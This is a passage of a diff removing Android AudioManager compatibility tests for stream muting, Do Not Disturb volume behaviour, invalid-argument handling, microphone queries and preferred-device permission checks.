-            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
-            assertFalse("Unmuting stream " + stream + " failed.",
-                    mAudioManager.isStreamMute(stream));
-
-            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
-            assertTrue("Toggling mute on stream " + stream + " failed.",
-                    mAudioManager.isStreamMute(stream));
-
-            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
-            assertFalse("Toggling mute on stream " + stream + " failed.",
-                    mAudioManager.isStreamMute(stream));
-
-            mAudioManager.setStreamMute(stream, true);
-            assertTrue("Muting stream " + stream + " using setStreamMute failed",
-                    mAudioManager.isStreamMute(stream));
-
-            // mute it three more times to verify the ref counting is gone.
-            mAudioManager.setStreamMute(stream, true);
-            mAudioManager.setStreamMute(stream, true);
-            mAudioManager.setStreamMute(stream, true);
-
-            mAudioManager.setStreamMute(stream, false);
-            assertFalse("Unmuting stream " + stream + " using setStreamMute failed.",
-                    mAudioManager.isStreamMute(stream));
-        }
-    }
-
-    public void testSetInvalidRingerMode() {
-        int ringerMode = mAudioManager.getRingerMode();
-        mAudioManager.setRingerMode(-1337);
-        assertEquals(ringerMode, mAudioManager.getRingerMode());
-
-        mAudioManager.setRingerMode(-3007);
-        assertEquals(ringerMode, mAudioManager.getRingerMode());
-    }
-
-    public void testAdjustVolumeInTotalSilenceMode() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            mAudioManager.adjustStreamVolume(
-                    STREAM_MUSIC, ADJUST_RAISE, 0);
-            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
-
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testAdjustVolumeInAlarmsOnlyMode() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            mAudioManager.adjustStreamVolume(
-                    STREAM_MUSIC, ADJUST_RAISE, 0);
-            int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
-            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume + volumeDelta);
-
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testSetStreamVolumeInTotalSilenceMode() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
-            // delay for streams interruption filter to get into correct state
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-
-            // cannot adjust music, can adjust ringer since it could exit DND
-            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 7, 0);
-            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
-            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
-            assertStreamVolumeEquals(STREAM_RING, 7);
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testSetStreamVolumeInAlarmsOnlyMode() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
-            // delay for streams to get into correct volume states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-
-            // can still adjust music and ring volume
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
-            assertStreamVolumeEquals(STREAM_MUSIC, 3);
-            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
-            assertStreamVolumeEquals(STREAM_RING, 7);
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testSetStreamVolumeInPriorityOnlyMode() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-
-        try {
-            // turn off zen, set stream volumes to check for later
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-
-            final int testRingerVol = getTestRingerVol();
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
-
-            // disallow all sounds in priority only, turn on priority only DND, try to change volume
-            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0 , 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct volume states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 5, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, testRingerVol, 0);
-
-            // Turn off zen and make sure stream levels are still the same prior to zen
-            // aside from ringer since ringer can exit dnd
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
-            assertEquals(testRingerVol, mAudioManager.getStreamVolume(STREAM_RING));
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testAdjustVolumeInPriorityOnly() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // turn off zen, set stream volumes to check for later
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            int ringVolume = mAudioManager.getStreamVolume(STREAM_RING);
-            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
-
-            // disallow all sounds in priority only, turn on priority only DND, try to change volume
-            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-            // delay for streams to get into correct mute states
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            mAudioManager.adjustStreamVolume(
-                    STREAM_RING, ADJUST_RAISE, 0);
-            mAudioManager.adjustStreamVolume(
-                    STREAM_MUSIC, ADJUST_RAISE, 0);
-            mAudioManager.adjustStreamVolume(
-                    STREAM_ALARM, ADJUST_RAISE, 0);
-
-            // Turn off zen and make sure stream levels are still the same prior to zen
-            // aside from ringer since ringer can exit dnd
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
-
-            int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_RING));
-            assertEquals(ringVolume + volumeDelta,
-                    mAudioManager.getStreamVolume(STREAM_RING));
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlyMuteAll() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // disallow all sounds in priority only, turn on priority only DND
-            mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-
-            // if channels cannot bypass DND, the Ringer stream should be muted, else it
-            // shouldn't be muted
-            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
-                    "Ringer stream should be muted if channels cannot bypassDnd");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlyMediaAllowed() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // allow only media in priority only
-            mNm.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_MEDIA, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, false,
-                    "Music (media) stream should not be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-
-            // if channels cannot bypass DND, the Ringer stream should be muted, else it
-            // shouldn't be muted
-            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
-                    "Ringer stream should be muted if channels cannot bypassDnd");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlySystemAllowed() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // allow only system in priority only
-            mNm.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, false,
-                    "System stream should not be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-            assertStreamMuted(STREAM_RING, false,
-                    "Ringer stream should not be muted");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlySystemDisallowedWithRingerMuted() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test, but then mute ringer
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 0, 0);
-            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
-
-            // allow only system in priority only
-            mNm.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_SYSTEM, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-            assertStreamMuted(STREAM_RING, true,
-                    "Ringer stream should be muted");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlyAlarmsAllowed() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // allow only alarms in priority only
-            mNm.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_ALARMS, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, false,
-                    "Alarm stream should not be muted");
-
-            // if channels cannot bypass DND, the Ringer stream should be muted, else it
-            // shouldn't be muted
-            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
-                    "Ringer stream should be muted if channels cannot bypassDnd");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlyRingerAllowed() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // allow only reminders in priority only
-            mNm.setNotificationPolicy(new NotificationManager.Policy(
-                    NotificationManager.Policy.PRIORITY_CATEGORY_REMINDERS, 0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-            assertStreamMuted(STREAM_RING, false,
-                    "Ringer stream should not be muted");
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-        }
-    }
-
-    public void testPriorityOnlyChannelsCanBypassDnd() throws Exception {
-        if (mSkipRingerTests) {
-            return;
-        }
-
-        Utils.toggleNotificationPolicyAccess(
-                mContext.getPackageName(), getInstrumentation(), true);
-
-        final String NOTIFICATION_CHANNEL_ID = "test_id_" + SystemClock.uptimeMillis();
-        NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID, "TEST",
-                NotificationManager.IMPORTANCE_DEFAULT);
-        try {
-            // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
-
-            // create a channel that can bypass dnd
-            channel.setBypassDnd(true);
-            mNm.createNotificationChannel(channel);
-
-            // allow nothing
-            mNm.setNotificationPolicy(new NotificationManager.Policy(0,0, 0));
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-            assertStreamMuted(STREAM_RING, false,
-                    "Ringer stream should not be muted."
-                            + " areChannelsBypassing="
-                            + NotificationManager.getService().areChannelsBypassingDnd());
-
-            // delete the channel that can bypass dnd
-            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-
-            assertStreamMuted(STREAM_MUSIC, true,
-                    "Music (media) stream should be muted");
-            assertStreamMuted(STREAM_SYSTEM, true,
-                    "System stream should be muted");
-            assertStreamMuted(STREAM_ALARM, true,
-                    "Alarm stream should be muted");
-            // if channels cannot bypass DND, the Ringer stream should be muted, else it
-            // shouldn't be muted
-            assertStreamMuted(STREAM_RING, !mAppsBypassingDnd,
-                    "Ringer stream should be muted if apps are bypassing dnd"
-                            + " areChannelsBypassing="
-                            + NotificationManager.getService().areChannelsBypassingDnd());
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
-            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
-                    false);
-        }
-    }
-
-    public void testAdjustVolumeWithIllegalDirection() throws Exception {
-        // Call the method with illegal direction. System should not reboot.
-        mAudioManager.adjustVolume(37, 0);
-    }
-
-    private final int[] PUBLIC_STREAM_TYPES = { STREAM_VOICE_CALL,
-            STREAM_SYSTEM, STREAM_RING, STREAM_MUSIC,
-            STREAM_ALARM, STREAM_NOTIFICATION,
-            STREAM_DTMF,  STREAM_ACCESSIBILITY };
-
-    public void testGetStreamVolumeDbWithIllegalArguments() throws Exception {
-        Exception ex = null;
-        // invalid stream type
-        try {
-            float gain = mAudioManager.getStreamVolumeDb(-100 /*streamType*/, 0,
-                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
-        } catch (Exception e) {
-            ex = e; // expected
-        }
-        assertNotNull("No exception was thrown for an invalid stream type", ex);
-        assertEquals("Wrong exception thrown for invalid stream type",
-                ex.getClass(), IllegalArgumentException.class);
-
-        // invalid volume index
-        ex = null;
-        try {
-            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, -101 /*volume*/,
-                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
-        } catch (Exception e) {
-            ex = e; // expected
-        }
-        assertNotNull("No exception was thrown for an invalid volume index", ex);
-        assertEquals("Wrong exception thrown for invalid volume index",
-                ex.getClass(), IllegalArgumentException.class);
-
-        // invalid out of range volume index
-        ex = null;
-        try {
-            final int maxVol = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
-            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, maxVol + 1,
-                    AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
-        } catch (Exception e) {
-            ex = e; // expected
-        }
-        assertNotNull("No exception was thrown for an invalid out of range volume index", ex);
-        assertEquals("Wrong exception thrown for invalid out of range volume index",
-                ex.getClass(), IllegalArgumentException.class);
-
-        // invalid device type
-        ex = null;
-        try {
-            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
-                    -102 /*deviceType*/);
-        } catch (Exception e) {
-            ex = e; // expected
-        }
-        assertNotNull("No exception was thrown for an invalid device type", ex);
-        assertEquals("Wrong exception thrown for invalid device type",
-                ex.getClass(), IllegalArgumentException.class);
-
-        // invalid input device type
-        ex = null;
-        try {
-            float gain = mAudioManager.getStreamVolumeDb(STREAM_MUSIC, 0,
-                    AudioDeviceInfo.TYPE_BUILTIN_MIC);
-        } catch (Exception e) {
-            ex = e; // expected
-        }
-        assertNotNull("No exception was thrown for an invalid input device type", ex);
-        assertEquals("Wrong exception thrown for invalid input device type",
-                ex.getClass(), IllegalArgumentException.class);
-    }
-
-    public void testGetStreamVolumeDb() throws Exception {
-        for (int streamType : PUBLIC_STREAM_TYPES) {
-            // verify mininum index is strictly inferior to maximum index
-            final int minIndex = mAudioManager.getStreamMinVolume(streamType);
-            final int maxIndex = mAudioManager.getStreamMaxVolume(streamType);
-            assertTrue("Min vol index (" + minIndex + ") for stream " + streamType + " not inferior"
-                    + " to max vol index (" + maxIndex + ")", minIndex <= maxIndex);
-            float prevGain = Float.NEGATIVE_INFINITY;
-            // verify gain increases with the volume indices
-            for (int idx = minIndex ; idx <= maxIndex ; idx++) {
-                float gain = mAudioManager.getStreamVolumeDb(streamType, idx,
-                        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER);
-                assertTrue("Non-monotonically increasing gain at index " + idx + " for stream"
-                        + streamType, prevGain <= gain);
-                prevGain = gain;
-            }
-        }
-    }
-
-    public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
-        // Call the method with illegal direction. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(37, STREAM_MUSIC, 0);
-
-        // Call the method with illegal stream. System should not reboot.
-        mAudioManager.adjustSuggestedStreamVolume(ADJUST_RAISE, 66747, 0);
-    }
-
-    @CddTest(requirement="5.4.1/C-1-4")
-    public void testGetMicrophones() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_MICROPHONE)) {
-            return;
-        }
-        List<MicrophoneInfo> microphones = mAudioManager.getMicrophones();
-        assertTrue(microphones.size() > 0);
-        for (int i = 0; i < microphones.size(); i++) {
-            MicrophoneInfo microphone = microphones.get(i);
-            Log.i(TAG, "deviceId:" + microphone.getDescription());
-            Log.i(TAG, "portId:" + microphone.getId());
-            Log.i(TAG, "type:" + microphone.getType());
-            Log.i(TAG, "address:" + microphone.getAddress());
-            Log.i(TAG, "deviceLocation:" + microphone.getLocation());
-            Log.i(TAG, "deviceGroup:" + microphone.getGroup()
-                    + " index:" + microphone.getIndexInTheGroup());
-            MicrophoneInfo.Coordinate3F position = microphone.getPosition();
-            Log.i(TAG, "position:" + position.x + " " + position.y + " " + position.z);
-            MicrophoneInfo.Coordinate3F orientation = microphone.getOrientation();
-            Log.i(TAG, "orientation:" + orientation.x + " "
-                    + orientation.y + " " + orientation.z);
-            Log.i(TAG, "frequencyResponse:" + microphone.getFrequencyResponse());
-            Log.i(TAG, "channelMapping:" + microphone.getChannelMapping());
-            Log.i(TAG, "sensitivity:" + microphone.getSensitivity());
-            Log.i(TAG, "max spl:" + microphone.getMaxSpl());
-            Log.i(TAG, "min spl:" + microphone.getMinSpl());
-            Log.i(TAG, "directionality:" + microphone.getDirectionality());
-            Log.i(TAG, "--------------");
-        }
-    }
-
-    public void testIsHapticPlaybackSupported() {
-        // Calling the API to make sure it doesn't crash.
-        Log.i(TAG, "isHapticPlaybackSupported: " + AudioManager.isHapticPlaybackSupported());
-    }
-
-    public void testGetAudioHwSyncForSession() {
-        // AudioManager.getAudioHwSyncForSession is not supported before S
-        if (ApiLevelUtil.isAtMost(Build.VERSION_CODES.R)) {
-            Log.i(TAG, "testGetAudioHwSyncForSession skipped, release: " + Build.VERSION.SDK_INT);
-            return;
-        }
-        try {
-            int sessionId = mAudioManager.generateAudioSessionId();
-            assertNotEquals("testGetAudioHwSyncForSession cannot get audio session ID",
-                    AudioManager.ERROR, sessionId);
-            int hwSyncId = mAudioManager.getAudioHwSyncForSession(sessionId);
-            Log.i(TAG, "getAudioHwSyncForSession: " + hwSyncId);
-        } catch (UnsupportedOperationException e) {
-            Log.i(TAG, "getAudioHwSyncForSession not supported");
-        } catch (Exception e) {
-            fail("Unexpected exception thrown by getAudioHwSyncForSession: " + e);
-        }
-    }
-
-    private void setInterruptionFilter(int filter) {
-        mNm.setInterruptionFilter(filter);
-        final long startPoll = SystemClock.uptimeMillis();
-        int currentFilter = -1;
-        while (SystemClock.uptimeMillis() - startPoll < POLL_TIME_UPDATE_INTERRUPTION_FILTER) {
-            currentFilter = mNm.getCurrentInterruptionFilter();
-            if (currentFilter == filter) {
-                return;
-            }
-        }
-        Log.e(TAG, "interruption filter unsuccessfully set. wanted=" + filter
-                + " actual=" + currentFilter);
-    }
-
-    private int getVolumeDelta(int volume) {
-        return 1;
-    }
-
-    private int getTestRingerVol() {
-        final int currentRingVol = mAudioManager.getStreamVolume(STREAM_RING);
-        final int maxRingVol = mAudioManager.getStreamMaxVolume(STREAM_RING);
-        if (currentRingVol != maxRingVol) {
-            return maxRingVol;
-        } else {
-            return maxRingVol - 1;
-        }
-    }
-
-    public void testAllowedCapturePolicy() throws Exception {
-        final int policy = mAudioManager.getAllowedCapturePolicy();
-        assertEquals("Wrong default capture policy", AudioAttributes.ALLOW_CAPTURE_BY_ALL, policy);
-
-        for (int setPolicy : new int[] { AudioAttributes.ALLOW_CAPTURE_BY_NONE,
-                                      AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM,
-                                      AudioAttributes.ALLOW_CAPTURE_BY_ALL}) {
-            mAudioManager.setAllowedCapturePolicy(setPolicy);
-            final int getPolicy = mAudioManager.getAllowedCapturePolicy();
-            assertEquals("Allowed capture policy doesn't match", setPolicy, getPolicy);
-        }
-    }
-
-    public void testIsHdmiSystemAudidoSupported() {
-        // just make sure the call works
-        boolean isSupported = mAudioManager.isHdmiSystemAudioSupported();
-        Log.d(TAG, "isHdmiSystemAudioSupported() = " + isSupported);
-    }
-
-    public void testIsBluetoothScoAvailableOffCall() {
-        // just make sure the call works
-        boolean isSupported = mAudioManager.isBluetoothScoAvailableOffCall();
-        Log.d(TAG, "isBluetoothScoAvailableOffCall() = " + isSupported);
-    }
-
-    public void testStartStopBluetoothSco() {
-        mAudioManager.startBluetoothSco();
-        mAudioManager.stopBluetoothSco();
-    }
-
-    public void testStartStopBluetoothScoVirtualCall() {
-        mAudioManager.startBluetoothScoVirtualCall();
-        mAudioManager.stopBluetoothSco();
-    }
-
-    public void testGetAdditionalOutputDeviceDelay() {
-        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
-        for (AudioDeviceInfo device : devices) {
-            long delay = mAudioManager.getAdditionalOutputDeviceDelay(device);
-            assertTrue("getAdditionalOutputDeviceDelay() = " + delay +" (should be >= 0)",
-                    delay >= 0);
-            delay = mAudioManager.getMaxAdditionalOutputDeviceDelay(device);
-            assertTrue("getMaxAdditionalOutputDeviceDelay() = " + delay +" (should be >= 0)",
-                    delay >= 0);
-        }
-    }
-
-    static class MyPrevDevForStrategyListener implements
-            AudioManager.OnPreferredDevicesForStrategyChangedListener {
-        @Override
-        public void onPreferredDevicesForStrategyChanged(AudioProductStrategy strategy,
-                List<AudioDeviceAttributes> devices) {
-            fail("onPreferredDevicesForStrategyChanged must not be called");
-        }
-    }
-
-    public void testPreferredDevicesForStrategy() {
-        // setPreferredDeviceForStrategy
-        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        if (devices.length <= 0) {
-            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no output device");
-            return;
-        }
-        final AudioDeviceAttributes ada = new AudioDeviceAttributes(devices[0]);
-
-        final AudioAttributes mediaAttr = new AudioAttributes.Builder().setUsage(
-                AudioAttributes.USAGE_MEDIA).build();
-        final List<AudioProductStrategy> strategies =
-                AudioProductStrategy.getAudioProductStrategies();
-        AudioProductStrategy strategyForMedia = null;
-        for (AudioProductStrategy strategy : strategies) {
-            if (strategy.supportsAudioAttributes(mediaAttr)) {
-                strategyForMedia = strategy;
-                break;
-            }
-        }
-        if (strategyForMedia == null) {
-            Log.i(TAG, "Skip testPreferredDevicesForStrategy as there is no strategy for media");
-            return;
-        }
-
-        try {
-            mAudioManager.setPreferredDeviceForStrategy(strategyForMedia, ada);
-            fail("setPreferredDeviceForStrategy must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        try {
-            mAudioManager.getPreferredDeviceForStrategy(strategyForMedia);
-            fail("getPreferredDeviceForStrategy must fail due to no permission");
-        } catch (SecurityException e) {
-        }
-        final List<AudioDeviceAttributes> adas = new ArrayList<>();
-        adas.add(ada);
-        try {
-            mAudioManager.setPreferredDevicesForStrategy(strategyForMedia, adas);
